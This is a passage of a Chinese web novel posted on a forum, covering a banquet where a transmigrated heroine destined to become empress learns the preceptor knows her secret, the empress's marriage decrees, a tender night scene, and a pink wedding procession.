妖孽纵横6

众人看这姿势都是一怔,随即便是不由的咽了咽口水。

罂粟想要过去,却被女帝一伸手止住,迫于无奈重新坐了下来。

唐如风显然没有料到,想想自己怎么也算是个绝世的高手,怎么就这么轻易的被按压住了呢?

且还是一丝一毫都动不了了。

只在她愤怒的快要破口大骂之际,却只见那水帘竟是嘴角勾出一抹淡笑,靠近了她。

顿时,瞪大眼睛,张大了嘴巴,顷刻又闭上。

靠过来干什么?干什么?难道是……难道是……啊,不会吧?国师不应该是出家人吗?不应该是四大皆空吗?

眼看,那脸庞越来越近,越来越近。

唐如风的心跳也是越来越加速,越来越加速。

然后,就在那嘴唇快要印上她的时候,唐如风猛地就闭上了眼睛,像是要承受巨大的折磨一般。

而那水帘也竟是与那唇瓣似擦肩而过,有热气掠过她的肌肤,却是辗转来到了耳畔。

“你是天脉者,是来自异世的灵魂,有着不属于这个世界的思想及行为方式。”

“可以左右风阴国,甚至整个天下的格局。”

“而本座却是这个世间唯一一个可以预知天脉者命运的人。”

三句话,落在了唐如风的耳畔,像是导弹一样爆炸开来。

唐如风感觉自己脆弱的心脏就这样被炸得五马分尸,粉身碎骨了。

原本张牙舞爪的动作,暴怒的神情早已消失不见了踪影。

唐如风就这样怔怔的看着前方,看着水帘的头顶,看着某一片空气流动的方位,一时间心底杂乱无章。

他……他……他竟然知道她是穿来的。

他竟然可以预知她的未来走向。

妖孽纵横7

他竟然,竟然知道,这些连罂粟,连雪莲,连蓝情……等等诸人都不知道的秘密。

这无疑是唐如风最大的一个秘密,亦是一个无法泄露,更不想要被人知道的秘密。

可,此刻,就这样被人轻易的说了出来,还是如此的明确,这个人就是她。

见唐如风如此神情,知其不会再如同适才那般凶狠,甚至下手运用了小唐飞刀。

虽然,水帘知道,她并不是想要他的命。

如此想着,手指一松,腿一挪,唐如风便如同一片落叶般凋零,眼看就这样倚着门框瘫软在地上。

一道银光闪过,罂粟却是早早的飞身而来,一把揽住她,靠在了自己的怀里。

受打击了,严重受打击了。

“如风,怎么了?”罂粟皱眉问道,不忘记冷眼扫过水帘。

水帘此时早已回到了座位上,极其端庄的坐着,风韵犹存。

“我……我……我没事。”

唐如风整个身体都靠在了罂粟的怀里,不由的再次结巴了。

来到这风阴国还真是接连收打击。

这里住的都是人吗?难不成都是神吗?怎么都是无所不知的?

先是那女帝知道她在这世间的一举一动,已经够让人惊愕了。

现在又是这水帘竟然知道她是穿越而来的。

这个世界果然是人外有人,天外有天。

如此想着,唐如风也已经依靠着罂粟支撑了起来。

她态度开始变得极为恭敬,看谁都是客气的笑着,再笑着,不忘挥挥她的小手,以表示自己的和蔼可亲。

在这里,她可不敢再胡作非为了。

毕竟,这是人家的地盘,而且人家对自己还是了如指掌,自己对人家却是一无所知。

妖孽纵横8

毕竟,这是人家的地盘,而且人家对自己还是了如指掌,自己对人家却是一无所知。

如此,自己是赤裸裸的,而对手却是裹得严严实实,怎么都觉得很有危机感。

女帝看着唐如风态度的瞬息巨变,不由掩唇轻轻笑了笑,这丫头还真是有趣的紧。

众人亦是一惊,见这雪衣少年变得恭敬的态度,都不由的对自家国师更加倾佩起来。

毕竟,貌似传言中,这大名鼎鼎的唐少可是极难搞定的。

虽然,大家亦是都知道了,这唐少就是传说中的天脉者,更是即将上任的新帝。

但,对于这样一个突然而来的人,众人多少还是会一个接受的过程。

更何况,风阴国的子民都是极其个性的,可不会因为你这莫名的身份就对你另眼相看。

要想得到众子民的尊重,还是需要一个的才能与智慧的。

唐如风当然更不会知道,众人心中所思绪的东西。

她只知道,自己进入了一个极其高深莫测的国度,且是对穿越这等人间罕事都极其的了解。

只在众人其中包括唐如风,水帘思绪游离之际,高高在上的女帝陛下却是骤然开了口。

“朕拟了几道旨意,待宴会散去时,便会公诸于众。”

“各位爱卿各司其职就好。”

“一切看国师的意思。”

“朕现在有些疲累了,就先回去休息。”

“诸位爱卿可继续。”

说着,便起身离开。

唐如风顿时有些惊愕,但宴席之上的其他人却是没有什么异动,明显早已习惯了如此的安排。

这女帝好像经常会这般做似的。

因为,女帝离开,唐如风又变得无比规矩,这宴会瞬间便陷入了无聊的持续中。

妖孽纵横9

你说一句,我说一句,你喝一口,我喝一口,你笑笑,我也笑笑。

诸多无聊实在无法用语言来描绘。

唐如风摇了摇头,心想,这风阴国的人果然是与众不同的,都那般个性。

风阴女帝下达了几道旨意,且是一道比一道惊人,一道比一道让唐如风难以下咽。

因为,每一道竟是都与她有关。

第一道就给唐如风赐了婚,三日后在这皇宫大殿与水灵珠主人罂粟成婚。

听到这里,唐如风怔然了,随即便想要猛亲一把那女帝。

还真是替她着想,及早的把罂粟纳入了闺中,省的被这风阴诸多女子惦记着。

第二道还是给唐如风的,女帝竟是为了她准备了几位美人,命其大婚即日后便各封职位,且还要各个宠幸。

这道旨意着实让唐如风大大惊愕,且猛咽口水。

貌似这女帝疼她疼得有些过了火。

这女帝准备的美人不多还好,倘若是三千美人,那唐如风岂不是会被累死?

第三道亦是同样给唐如风的,命其要听国师之言,一切一定要先请教后行动。

当皇帝还要听别人的,窝囊。

连续几道下来却都是有唐如风有关,不是赐婚,就是赏赐美人,抑或是别的什么东东。

其实,唐如风真的想要告诉这女帝,真的不用赏赐那么多东西。

登基当了女帝之后,这些东西不都随映着成了她的。

难道,还会跑了不成?

待宴会散去之后,唐如风直感觉自己心思沉重了不少,没有办法,还没有什么功劳就得到那么多的赏赐,总是心里有那么点纠结。

妖孽纵横10

却不料临出这宴会前,水帘竟是跟随其后,说道。

“大婚之后,水帘会还给殿下一个完整的月如。”

说完也不等唐如风反应,便已经自顾的转身离去,衣衫曳地,一片芳华。

走路也是那么的端庄,唐如风心想,这人骨子里竟是透出了些迂腐的味道。

回去的路上,罂粟一直是低垂着脸庞,银发纷飞,朦胧了他的面容,让人看不清了他的神情。

可,还是有人能够感觉到,罂粟周身散发出的某种愉悦气息。

甜甜的,痒痒的,暖暖的,像是蜜,又像是温泉,还像是羽毛。

唐如风当时还傻愣愣的迷迷糊糊,因为实在是太晚了,也太累了,她是真的需要休息了。

如此没心没肺着,罂粟却是早已极为了解的把她整个人横抱了起来。

极其自然的勾住他的脖颈,唐如风就窝进了他的脖颈。

“罂粟啊……你身上好香……好香……”

说着就往他肌肤间嗅去,像是小狗一样舔舐着,贪图着主人的爱怜。

罂粟嘴角轻轻弯着,轻声,道:“睡吧。”

许是声音太柔和,唐如风便真的开始昏昏欲睡起来。

银白的月光洒在地上,四周陷入了一片唯美的宁静中。

夜的香气弥漫在空中,织成了一个柔软的网,把所有的景物都罩在里面。

眼睛所接触到的都是罩上这个柔软的网的东西,一草一木间泛起一层模糊、空幻的色彩。

每一样都隐藏了它的细致之点,都保守着它的秘密,使人有一种如梦如幻的感觉。

就像此刻罂粟的心情,他突然感觉一切都像是一段梦幻一般,美好到像是幻境。

他将娶现在此刻正被他抱在怀里的女人,一个自己爱了很久,且爱得很深,很痛的女人。

十面埋伏1

他真的觉得自己应该是这个世界上最幸福的一个人。

他们可以一起在这个桃花源地生活到老,直到死去,平淡且幸福。

————————————————

月色朦胧,远远望去,那一座座深红的宫殿像嵌在雪地上一样。

坐落在树丛中的宫殿,露出一个个琉璃瓦顶,恰似一座银色色的岛屿。

女帝寝宫那华丽的楼阁被华清池池水环绕,浮萍满地,碧绿而明净。

飞檐上的两条凤,金鳞金甲,活灵活现,似欲腾空飞去。

银白的琉璃瓦在阳光下闪散发着朦胧的光芒。

殿内,一袭粉色寝衣的女帝躺在银色床榻之上。

青螺眉黛长,弃了珠花流苏,三千青丝仅用一支雕工细致的梅簪绾起,淡上铅华。

黛眉开娇横远岫,绿鬓淳浓染春烟,有一股巫山云雾般的灵气

坐在她身前的水帘,洁白纤细的手指一点点捋过她的发丝,轻轻柔柔的梳理着。

纤长的睫毛低垂,她微微闭上了眼睛,唇瓣微微开启。

“水帘,天脉者真的可以让风阴国躲避过这样一场灾难吗?”

水帘继续梳理着她的发丝,嘴角不由勾出一抹浅笑。

“水帘不知,水帘只知道,这个天下间,只有天脉者有这个能力。”

“但,唐如风究竟是否能够运用自如,还是要看她的造诣了。”

听后,女帝轻轻皱了皱眉毛,看向正低头为自己梳理着发丝的水帘。

目光却是积淀了些忧伤。

“朕就要走了。”

“以后,这风阴之地,就交给水帘了。”

“如风虽然是天脉者,可毕竟年幼,而且入世太浅,水帘可要多多协助才好。”

水帘似是无意间扫过她的脸庞,依然是浅浅笑着。

“风阴国是水帘的家,哪怕是灭亡,亦是会一同承受。”

十面埋伏2

“水帘不会离去。”

“就像陛下一般守候在这里。”

“谢谢你。”

女帝嘴角亦是勾勒出一抹微笑,眼神里竟是散发出了淡淡忧伤,道。

早在一年前,水帘便已经预知到风阴国将在某年某月某日有一场劫难。

而是恰在那时,他亦是预测出了天脉者即将出世。

可,茫茫人海间去哪里寻找天脉者?

没有人知道天脉者的模样,就连水帘也不知道。

倘若不是唐如风风靡天下的知名度,或许,他们永远也不会找到天脉者。

如此,他们便运用了风阴国得天独厚的情报网,得到了唐如风的一切消息,不遗漏任何蛛丝马迹。

水帘亦是通过唐如风平时的言行,才猜测此人有可能便是传说中的天脉者。

但,真正的确定还是在见到唐如风本人之后。

水帘是唯一一个对天脉者有感知的人。

她的气息是不同的,又来自另一个世间的气息。

于此,这才顺着水灵珠这一道线索找到了水灵珠的主人,又牵动了月如,使天脉者来到了风阴国。

“水帘,时间真的走的很快。”

“一晃那么多年,就这样一点点的过去了。”

“我还没有来得及看清楚什么模样。”

“甚至,没有来得及看清楚你的模样。”

“水帘总是那般的冷静,那般的理智,那般的没有人性。”

女帝的眼帘微微抬起,嘴角弯出一抹淡笑,只在眼角间却有晶莹剔透的水珠一点点擦拭而落。

“我都要走了。”

“难道,你都不想要拥抱我一下吗?”

“以后,不会有人伴着你一起保卫这片土地。”

“也不会有人整天考验你的忍耐力了。”

“难道,你就没有一点点的不舍吗?”

十面埋伏3

“水帘……”

水帘的手指继续在女帝的发丝间一点点擦拭而过,卷翘的睫毛轻轻低垂着。

嘴唇亦是极其自然的合着,像是没有一丝情绪般。

“陛下,您该休息了。”

缓缓的他开口道,女帝却是真真正正的轻轻合上了眼睛。

只是眼角的泪水晶莹依然没有褪却,在这朦胧烛光的照耀下,泛起一层细细的光晕。

水帘小心翼翼的床榻之上下来,替她稍稍掩住了被角。

又在这床榻之前,站立片刻,这才离去。

背影依然是那般的风神俊秀,曳地长衣溅起一室银白,美好的仿若幻境里的仙子。

陛下,离开难道不好吗?

离开就不用再继续忍受这般的疼痛。

爱情是一种类似于罂粟般含有毒素的东西。

除了痛苦,水帘什么都不能给你,除了痛苦。

走吧,不要回头,在那个遥远的地方娴静的生活。

水帘真的无法保证,天脉者真的可以保住风阴之地。

水帘亦是无法保证,可以完好的出现在你的身边。

不能保证的事情,水帘为何要徒增希望,倘若真的那般,只会让结局变得更加的伤痛。

生命原是可以简简单单的走过,我们何必如此复杂。

不要爱,不要痛,更不要恨,就这般平淡如水的走过每一日。

朦胧的月光透过淡薄的窗户纸打落在女帝沉睡的面容上。

只在在梦里,那身体就开始哭泣着颤抖,嘴唇紧紧咬住,竟是生生的溢出一丝丝猩红。

水帘,我真的情愿那是昙花一现,烟花绽放。

我知道,迟早都要幻灭,迟早都要消亡。

可,难道连一点一滴的痕迹都不能留下吗?

我欺骗了你无数次,诱惑了你无数次,甚至祈求了你很多次。

十面埋伏4

可你依然是那般的无情,那般的冰冷,那般的没有人性。

为何,要把守护这片天地当做自己一生的责任?

为何,我们不能如同飞蛾扑火般去触及彼此心底的情愫,哪怕一同灭亡。

——————————————

没有人知道所谓的什么灾难会来临。

就连水帘自己看着这样一片娴静之地,都无法把它与一片生灵涂炭相联系。

可,预知是不会错的,因为从来没有错过。

而此刻的唐如风却是一直在自己的怡红院中惬意自在。

说实话,最近还真没有什么令自己不高兴的事情。

除了当皇帝之外,其他基本都是些喜事。

尤其,这女帝竟然还赐了她一个极其豪华,极其壮观的婚礼。

对于这样一场算是正式的婚礼,唐如风其实还是有几分期盼的。

尤其是感觉到了罂粟眉宇之间透出的幸福意味,这种期待就更盛了。

像是感觉到了风阴国的喜庆,也像是感觉到了唐如风的幸福。

丽城的子民的心情也是格外的好。

走在路上的,坐在家里的,喝着小酒的,洗着衣服的,数着蚂蚁的……

无论老人还是孩子,无论男人还是女人,心情都是格外的好。

因为,丽城将迎来近年来最大一件喜事。

他们刚刚奉为殿下的唐如风马上就要大婚了。

与其成婚的还是水灵珠的主人罂粟公子。

天脉者与水灵珠融为了一体,对于丽城子民而言无疑是一件极为令人高兴的事情。

皇宫内也已经开始准备。

风阴国的婚礼并不如同世外是一片鲜红色彩,而是一片片如同桃花般的淡粉色。

像是坠入了粉色的海洋,丽城珍藏了多年的粉色都开始恣意绽放。

粉色的轻纱勾勒的宫殿如同羞涩的少女般,摸出了一丝丝清淡的红晕。

十面埋伏5

粉色的轻纱勾勒的宫殿如同羞涩的少女般,摸出了一丝丝清淡的红晕。

粉色的花瓣纷飞,天空中下起了美丽的花瓣雨。

抬起脸庞,看向那花瓣纷飞的天空,有清香扑鼻,有精致的轮廓坠入眼帘,就这样连同眼眶里的色彩都开始变得一片粉红。

三日的时间很短,很短,亦是如同流水一般倾泻而过,不留痕迹。

这一天清晨,阳光从东方淅淅沥沥的散出,打落在一片粉色的海洋里,泛起一了一层层桃花般的娇媚。

一黛雪山如同乾坤的月,一盏盏街灯恰似心头的繁星。

波光潋滟中的倒影,是岁月的琴弦,流动着,倾诉千年的娴静。

酒馆和店铺是石板路边横竖的造型。

一样的古朴,一样的闲适,一样风韵撩人,还有墨色的文字,跳跃着风阴的激情。

是炊烟吗?还是落日的轻云。

明媚时刻是丽城的绽放和归隐,喝进的似是琴间的高山流水,品味的似是百年的留香余音。

醉了,也迷失了。

醉在这远离粉色娴静的街景,迷失于不愿走出的粉色丽城,什么是可抓住的一汪树下灯影。

还有那一曲悠扬笛声混着缠绵琴音,不是江南胜似江南的小径,流转在这一道道清澈的街景间,宛若仙境般飘渺。

走过了无尽岁月的丽城,像是蜕变成了一副写意的水墨画,灵动多姿,娴静唯美。

浩浩荡荡的粉色队伍,如同最艳丽的一片桃花在这街道间绽放开来。

粉色轻纱勾勒的木轿,纤细如同翩翩少女般轻盈。

一袭袭的粉衣美人分伺两侧,手里捧着娇媚的桃花,花瓣枝叶之间还沾染着点点露珠,泛起一层层细细的晶莹。

十面埋伏6

似来自天际的悠扬旋律,混着粉色的花瓣肆意纷飞,张扬的跳跃,像极了此刻诸人及新郎新娘的心情。

有温柔的清风拂过肌肤,掀起那淡薄的粉色轻纱,可以看得到端坐在木轿间的两人。

那女子一袭银色纱衣,两袖宽大飘逸,迎风翻飞似蝶。腰身紧收,但用锦缎束腰。

银色纱裙间勾勒着一片片桃花纹路,熠熠生光。如梦似幻的质地,似笼在碧波潮水中,极致的清冷,却也是极致的妖媚。

黑发如瀑般倾泻到腰间,微微弯曲的长发在吾后背形成一层隐约的波浪,像山间的藤蔓,生机勃勃,黑得嚣张。

其形也,翩若惊鸿,婉若游龙。荣曜秋菊,华茂春松。仿佛兮若轻云之蔽月,飘摇兮若流风之回雪。

远而望之,皎若太阳出朝霞;迫而察之,灼若芙蕖出渌波。

肩若削成,腰如约素。延颈秀项,皓质呈露。芳泽无加,铅华弗御。云髻峨峨,修眉联娟。丹唇外朗,皓齿内鲜,明眸善睐,靥辅承权。瑰姿艳逸,仪静体闲。柔情绰态,媚于语言。

若海藻般发丝在随风飘动,魔鬼般地身材,透发着无限的诱惑。

未施胭脂的面庞含着笑意,肤白如玉,明眸皓齿,眉宇微扬,水眸流溢,那样的娇艳而婉转,仿如一枝晨间初绽的牡丹,犹带微露。

眼里波光荡漾,原本绝色的五官,如今愈发夺目,美得妖异。仿佛春花烂漫,瞬间开遍。

那男子银发倾城,亦是一袭雪衣曳地。

那女子斜卧在木轿内的床榻之上,姿态慵懒。

那男子却是微微低头坐在了床榻之下的软垫之上,有朦胧轻纱从发生间萦绕,遮挡住了他的容颜。

只是,那周身散发出的妖娆光芒令人心颤不已。


[ 本帖最后由 Ttwo 于 10-31 22:34 编辑 ]